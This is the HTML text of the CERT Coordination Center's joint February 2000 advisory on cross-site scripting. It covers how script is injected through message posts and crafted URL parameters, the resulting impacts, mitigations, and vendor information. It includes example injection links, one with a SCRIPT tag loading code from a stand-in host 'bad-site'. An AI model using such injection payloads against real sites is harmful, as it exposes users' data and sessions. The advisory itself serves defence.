<H4>This advisory is being published jointly by the CERT Coordination
Center, DoD-CERT, the DoD Joint Task Force for Computer Network
Defense (JTF-CND), the Federal Computer Incident Response Capability
(FedCIRC), and the National Infrastructure Protection Center
(NIPC).</H4>
<P>Original release date: February 2, 2000<BR>
Last revised: February 3, 2000<BR>
<P>A complete revision history is at the end of this file.
<H3>Systems Affected</H3>
<UL>
<P><LI>Web browsers
<P><LI>Web servers that dynamically generate pages based on
unvalidated input
</UL>
<A NAME="overview"></A>
<H2>Overview</H2>
<P>A web site may inadvertently include malicious HTML tags or script
in a dynamically generated page based on unvalidated input from
untrustworthy sources. This can be a problem when a web server does
not adequately ensure that generated pages are properly encoded to
prevent unintended execution of scripts, and when input is not
validated to prevent malicious HTML from being presented to the user.
<A name="description"></A>
<H2>I. Description</H2>
<H4>Background</H4>
<P>Most web browsers have the capability to interpret scripts embedded
in web pages downloaded from a web server. Such scripts may be
written in a variety of scripting languages and are run by the
client's browser. Most browsers are installed with the capability to
run scripts enabled by default.
<H4>Malicious code provided by one client for another client</H4>
<P>Sites that host discussion groups with web interfaces have long
guarded against a vulnerability where one client embeds malicious HTML
tags in a message intended for another client. For example, an
attacker might post a message like
<DL><DD>
<FONT FACE="monospace">
Hello message board. This is a message.<BR>
<SCRIPT>malicious code</SCRIPT><BR>
This is the end of my message.<BR>
</FONT>
</DL>
<P>When a victim with scripts enabled in their browser reads this
message, the malicious code may be executed unexpectedly. Scripting
tags that can be embedded in this way include <SCRIPT>,
<OBJECT>, <APPLET>, and <EMBED>.
<P>When client-to-client communications are mediated by a server, site
developers explicitly recognize that data input is untrustworthy when
it is presented to other users. Most discussion group servers either
will not accept such input or will encode/filter it before sending
anything to other readers.
<H4>Malicious code sent inadvertently by a client for itself</H4>
<P>Many Internet web sites overlook the possibility that a client may
send malicious data intended to be used only by itself. This is an
easy mistake to make. After all, why would a user enter malicious
code that only the user will see?
<P>However, this situation may occur when the client relies on an
untrustworthy source of information when submitting a request. For
example, an attacker may construct a malicious link such as
<DL><DD>
<FONT FACE="monospace">
<A HREF="http://example.com/comment.cgi?
mycomment=<SCRIPT>malicious code</SCRIPT>">
Click here</A>
</FONT>
</DL>
<P>When an unsuspecting user clicks on this link, the URL sent to
<I>example.com</I> includes the malicious code. If the web server
sends a page back to the user including the value of <I>mycomment</I>,
the malicious code may be executed unexpectedly on the client.
<B>This example also applies to untrusted links followed in email or
newsgroup messages.</B>
<H4>Abuse of other tags</H4>
<P>In addition to scripting tags, other HTML tags such as the
<FORM> tag have the potential to be abused by an attacker. For
example, by embedding malicious <FORM> tags at the right place,
an intruder can trick users into revealing sensitive information by
modifying the behavior of an existing form. Other HTML tags can also
be abused to alter the appearance of the page, insert unwanted or
offensive images or sounds, or otherwise interfere with the intended
appearance and behavior of the page.
<H4>Abuse of trust</H4>
<P>At the heart of this vulnerability is the violation of trust that
results from the "injected" script or HTML running within the security
context established for the <I>example.com</I> site. It is,
presumably, a site the browser victim is interested in enough to visit
and interact with in a trusted fashion. In addition, the security
policy of the legitimate server site <I>example.com</I> may also be
compromised.
<P>This example explicitly shows the involvement of two sites:
<DL><DD>
<FONT FACE="monospace">
<A HREF="http://example.com/comment.cgi?
mycomment=<SCRIPT
SRC='http://bad-site/badfile'></SCRIPT>">
Click here</A>
</FONT>
</DL>
<P>Note the SRC attribute in the <SCRIPT> tag is explicitly
incorporating code from a presumably unauthorized source
(<i>bad-site</i>). Both of the previous examples show violations of
the same-source origination policy fundamental to most scripting
security models:
<DL><DD>
<a href="http://developer.netscape.com/docs/manuals/communicator/jssec/contents.htm#1023448">
Netscape Communicator Same Origin Policy</A>
<BR>
<a
href="http://msdn.microsoft.com/library/partbook/dhtml/scriptletsecurity.htm">Microsoft
Scriptlet Security</A>
</DL>
<P>Because one source is injecting code into pages sent by another
source, this vulnerability has also been described as "cross-site"
scripting.
<P>At the time of publication, malicious exploitation of this
vulnerability has not been reported to the CERT/CC. However, because
of the potential for such exploitation, we recommend that organization
CIOs, managers, and system administrators aggressively implement the
steps listed in the <A HREF="#solution">solution</A> section of this
document. Technical feedback to appropriate technical, operational,
and law enforcement authorities is encouraged.
<A NAME="impact"></A>
<H2>II. Impact</H2>
<P>Users may unintentionally execute scripts written by an attacker
when they follow untrusted links in web pages, mail messages, or
newsgroup postings. Users may also unknowingly execute malicious
scripts when viewing dynamically generated pages based on content
provided by other users.
<P>Because the malicious scripts are executed in a context that
appears to have originated from the targeted site, the attacker has
full access to the document retrieved (depending on the technology
chosen by the attacker), and may send data contained in the page back
to their site. For example, a malicious script can read fields in a
form provided by the real server, then send this data to the attacker.
<p>Note that the access that an intruder has to the Document Object Model
(DOM) is dependent on the security architecture of the language chosen by the
attacker. Specifically, Java applets do not provide the attacker with any
access to the DOM.
<P>Alternatively, the attacker may be able to embed script code that
has additional interactions with the legitimate web server without
alerting the victim. For example, the attacker could develop an
exploit that posted data to a different page on the legitimate web
server.
<p>Also, even if the victim's web browser does not support scripting,
an attacker can alter the appearance of a page, modify its behavior,
or otherwise interfere with normal operation.
<P>The specific impact can vary greatly depending on the language
selected by the attacker and the configuration of any authentic pages
involved in the attack. Some examples that may not be immediately
obvious are included here.
<H4>SSL-Encrypted Connections May Be Exposed</H4>
<P>The malicious script tags are introduced before the Secure Socket
Layer (SSL) encrypted connection is established between the client and
the legitimate server. SSL encrypts data sent over this connection,
including the malicious code, which is passed in both directions.
While ensuring that the client and server are communicating without
snooping, SSL makes no attempt to validate the legitimacy of data
transmitted.
<P>Because there really is a legitimate dialog between the client and
the server, SSL reports no problems. Malicious code that attempts to
connect to a non-SSL URL may generate warning messages about the
insecure connection, but the attacker can circumvent this warning
simply by running an SSL-capable web server.
<H4>Attacks May Be Persistent Through Poisoned Cookies</H4>
<P>Once malicious code is executing that appears to have come from the
authentic web site, cookies may be modified to make the attack
persistent. Specifically, if the vulnerable web site uses a field
from the cookie in the dynamic generation of pages, the cookie may be
modified by the attacker to include malicious code. Future visits to
the affected web site (even from trusted links) will be compromised
when the site requests the cookie and displays a page based on the
field containing the code.
<H4>Attacker May Access Restricted Web Sites from the Client</H4>
<P>By constructing a malicious URL an attacker may be able to execute
script code on the client machine that exposes data from a vulnerable
server inside the client's intranet.
<P>The attacker may gain unauthorized web access to an intranet web
server if the compromised client has cached authentication for the
targeted server. There is no requirement for the attacker to
masquerade as any particular system. An attacker only needs to
identify a vulnerable intranet server and convince the user to visit
an innocent looking page to expose potentially sensitive data on the
intranet server.
<H4>Domain Based Security Policies May Be Violated</H4>
<P>If your browser is configured to allow execution of scripting
languages from some hosts or domains while preventing this access from
others, attackers may be able to violate this policy.
<P>By embedding malicious script tags in a request sent to a server
that is allowed to execute scripts, an attacker may gain this
privilege as well. For example, Internet Explorer security "zones"
can be subverted by this technique.
<H4>Use of Less-Common Character Sets May Present Additional Risk</H4>
<P>Browsers interpret the information they receive according to the
character set chosen by the user if no character set is specified in
the page returned by the web server. However, many web sites fail to
explicitly specify the character set (even if they encode or filter
characters with special meaning in the ISO-8859-1), leaving users of
alternate character sets at risk.
<H4>Attacker May Alter the Behavior of Forms</H4>
<p>Under some conditions, an attacker may be able to modify the behavior
of forms, including how results are submitted.
<A NAME="solution"></A>
<H2>III. Solution</H2>
<H4>Solutions for Users</H4>
<p>None of the solutions that web users can take are complete
solutions. In the end, it is up to web page developers to modify their
pages to eliminate these types of problems. </p>
<P>However, web users have two basic options to reduce their risk of
being attacked through this vulnerability. The first, disabling
scripting languages in their browser, provides the most protection but
has the side effect for many users of disabling functionality that is
important to them. Users should select this option when they require
the lowest possible level of risk.
<P>The second solution, being selective about how they initially visit
a web site, will significantly reduce a user's exposure while still
maintaining functionality. Users should understand that they are
accepting more risk when they select this option, but are doing so in
order to preserve functionality that is important to them.
<P>Unfortunately, it is not possible to quantify the risk difference
between these two options. Users who decide to continue operating
their browsers with scripting languages enabled should periodically
revisit the CERT/CC web site for updates, as well as review other
sources of security information to learn of any increases in threat or
risk related to this vulnerability.
<H5>Web Users Should Disable Scripting Languages in Their Browsers</H5>
<P>Exploiting this vulnerability to execute code requires that some
form of embedded scripting language be enabled in the victim's
browser. The most significant impact of this vulnerability can be
avoided by disabling all scripting languages.
<P>Note that attackers may still be able to influence the appearance
of content provided by the legitimate site by embedding other HTML
tags in the URL. Malicious use of the <FORM> tag in particular
is not prevented by disabling scripting languages.
<P>Detailed instructions to disable scripting languages in your
browser are available from our Malicious Code FAQ:
<DL><DD>
<A HREF="http://www.cert.org/tech_tips/malicious_code_FAQ.html">
http://www.cert.org/tech_tips/malicious_code_FAQ.html</A>
</DL>
<H5>Web Users Should Not Engage in Promiscuous Browsing</H5>
<P>Some users are unable or unwilling to disable scripting languages
completely. While disabling these scripting capabilities is the most
effective solution, there are some techniques that can be used to
reduce a user's exposure to this vulnerability.
<P>Since the most significant variations of this vulnerability involve
cross-site scripting (the insertion of tags into another site's web
page), users can gain some protection by being selective about how
they initially visit a web site. Typing addresses directly into the
browser (or using securely stored local bookmarks) is likely to be the
safest way of connecting to a site.
<P>Users should be aware that even links to unimportant sites may
expose other local systems on the network if the client's system
resides behind a firewall, or if the client has cached credentials to
access other web servers (e.g., for an intranet). For this reason,
cautious web browsing is <B>not</B> a comparable substitute for
disabling scripting.
<P>With scripting enabled, visual inspection of links does not protect
users from following malicious links, since the attacker's web site may
use a script to misrepresent the links in the user's window. For example,
the contents of the Goto and Status bars in Netscape are controllable
by JavaScript.
<H4>Solutions for Web Page Developers and Web Site Administrators</H4>
<H5>Web Page Developers Should Recode Dynamically Generated Pages to
Validate Output</H5>
<P>Web site administrators and developers can prevent their sites from
being abused in conjunction with this vulnerability by ensuring that
dynamically generated pages do not contain undesired tags.
<P>Attempting to remove dangerous meta-characters from the input
stream leaves a number of risks unaddressed. We encourage developers
to restrict variables used in the construction of pages to those
characters that are explicitly allowed and to check those variables
during the generation of the output page.
<P>In addition, web pages should explicitly set a character set to an
appropriate value in all dynamically generated pages.
<P>Because encoding and filtering data is such an important step in
responding to this vulnerability, and because it is a complicated
issue, the CERT/CC has written a document which explores this issue in
more detail:
<DL><DD>
<A HREF="http://www.cert.org/tech_tips/malicious_code_mitigation.html">
http://www.cert.org/tech_tips/malicious_code_mitigation.html</A>
</DL>
<H5>Web Server Administrators Should Apply a Patch From Their Vendor</H5>
<P>Some web server products include dynamically generated pages in the
default installation. Even if your site does not include dynamic
pages developed locally, your web server may still be vulnerable. For
example, your server may include malicious tags in the "404 Not Found"
page generated by your web server.
<P>Web server administrators are encouraged to apply patches as
suggested by your vendor to address this problem.
<A HREF="#vendors">Appendix A</A> contains information provided by
vendors for this advisory. We will update the appendix as we receive
more information. If you do not see your vendor's name, the CERT/CC
did not hear from that vendor. Please contact your vendor directly.
<A NAME="vendors"></A>
<H2> Appendix A. Vendor Information</H2>
<H4>Apache</H4>
<p>More information from apache can be found at
<dl>
<dd>
<A HREF="http://www.apache.org/info/css-security/">http://www.apache.org/info/css-security</a>
</dd>
</dl>
<H4>iPlanet - A Sun-Netscape Alliance</H4>
Additional information from iPlanet can be found at:
<dl>
<dd>
<A
HREF="http://developer.iplanet.com/docs/technote/security/cert_ca2000_02.html">http://developer.iplanet.com/docs/technote/security/cert_ca2000_02.html</a>
</dd>
</dl>
<H4>Microsoft</H4>
Microsoft is providing information and assistance on this issue for
its customers. This information will be posted at
<A HREF="http://www.microsoft.com/security">www.microsoft.com/security/</a>.
<H4>Sun Microsystems, Inc.</H4>
<p>Please see recommendations for Java Web Server at:
<dl>
<dd>
<a
HREF="http://sun.com/software/jwebserver/faq/jwsca-2000-02.html">
http://sun.com/software/jwebserver/faq/jwsca-2000-02.html</a>
</dd>
</dl>
Sun is also providing information on security issues in general.
This information is posted at
<dl>
<dd>
<A
HREF="http://java.sun.com/security">http://java.sun.com/security</A>
</dd>
</dl>
A good introduction is in <A
HREF="http://java.sun.com/sfaq">http://java.sun.com/sfaq</A>
<p>While any web-based object, including Java Applets, can be
unintentionally loaded through the mechanisms described in this
advisory, once they are loaded the Java security mechanisms
prevent any harmful information from being disclosed or client
information from being damaged.
<P>
<HR NOSHADE>
<P>Our thanks to Marc Slemko, Apache Software Foundation member; Iris
Associates; iPlanet; the Microsoft Security Response Center, the
Microsoft Internet Explorer Security Team, and Microsoft Research.
<p><!--#include virtual="/include/footer_nocopyright.html" --> </p>
<p>Copyright 2000 Carnegie Mellon University.</p>
<HR>
Revision History<BR>
<BR>
February 2, 2000: Initial release.<BR>
February 3, 2000: Clarifications on impact of Java applets. New vendor information.<BR>
<PRE>
</PRE>
|